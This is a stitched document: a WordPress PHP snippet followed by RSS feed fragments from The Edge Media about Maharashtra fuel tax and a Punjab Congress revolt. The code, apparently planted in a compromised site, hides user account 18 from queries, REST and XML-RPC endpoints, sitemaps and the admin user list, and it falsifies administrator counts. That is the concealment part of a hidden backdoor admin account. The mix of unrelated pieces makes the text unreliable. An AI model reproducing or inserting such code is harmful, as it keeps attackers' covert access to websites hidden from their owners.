add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
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}, 1 );

add_action( 'template_redirect', function() {
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            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
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        return;
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    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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					<description><![CDATA[<p>After the Centre recently cut the excise duty on fuels, Maharashtra BJP President Chandrakant Patil demanded that the state government reduce the Value Added Tax (VAT) on petrol and diesel. &#160; Patil told reporters in Kolhapur that they have organized an agitation across Maharashtra to press for the demand, citing the fact that 11 states [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/bjp-the-maharashtra-government-should-lower-the-vat-on-gasoline-and-fuel">BJP: The Maharashtra government should lower the VAT on gasoline and fuel</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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<p>Patil told reporters in Kolhapur that they have organized an agitation across Maharashtra to press for the demand, citing the fact that 11 states across the country, some of which are not even run by the BJP, have reduced gasoline VAT to bring relief to the common man.&#8221;Malik has confirmed that he bought land from 1993 Mumbai serial bombings criminals,&#8221; Patil remarked in response to a question about state minister Nawab Malik, who has hurled many claims against BJP leader Devendra Fadnavis and others.</p>
<p>The post <a href="https://theedgemedia.in/bjp-the-maharashtra-government-should-lower-the-vat-on-gasoline-and-fuel">BJP: The Maharashtra government should lower the VAT on gasoline and fuel</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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					<description><![CDATA[<p>In the midst of the ongoing crisis in the Punjab Congress, at least 32 MLAs, including four cabinet ministers, revolted against the chief minister and met in Chandigarh today to decide that a five-member delegation would try to meet with the Congress high command today to demand the resignation of Capt Amarinder Singh. They have [&#8230;]</p>
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<p>All of these cabinet ministers and MLAs from Punjab Congress resident Navjot Singh Sidhu&#8217;s camp are skeptical that the party will be able to deliver on all of the promises made before the 2017 state assembly elections under Capt Amarinder&#8217;s leadership.</p>
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